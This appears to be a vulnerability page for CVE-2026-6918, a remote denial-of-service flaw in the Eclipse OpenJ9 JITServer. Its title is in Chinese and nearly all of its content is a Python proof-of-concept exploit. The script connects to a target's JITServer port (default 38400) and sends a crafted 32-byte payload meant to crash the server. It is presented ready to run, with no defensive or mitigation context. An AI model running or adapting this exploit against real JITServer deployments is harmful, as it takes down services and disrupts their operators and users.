CVE-2026-6918 Eclipse OpenJ9 JITServer 远程拒绝服务漏洞

import socket # PoC for CVE-2026-6918 # Target: Eclipse OpenJ9 JITServer # Description: Sends a crafted 32-byte message to crash the server def exploit(target_ip, target_port): try: # Crafted payload: 32 bytes payload = b'A' * 32 print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print(f"[*] Sending crafted payload...") s.send(payload) print("[+] Payload sent successfully. Check if the server crashed.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Default JITServer port is often 38400, but verify with target environment HOST = "127.0.0.1" PORT = 38400 exploit(HOST, PORT)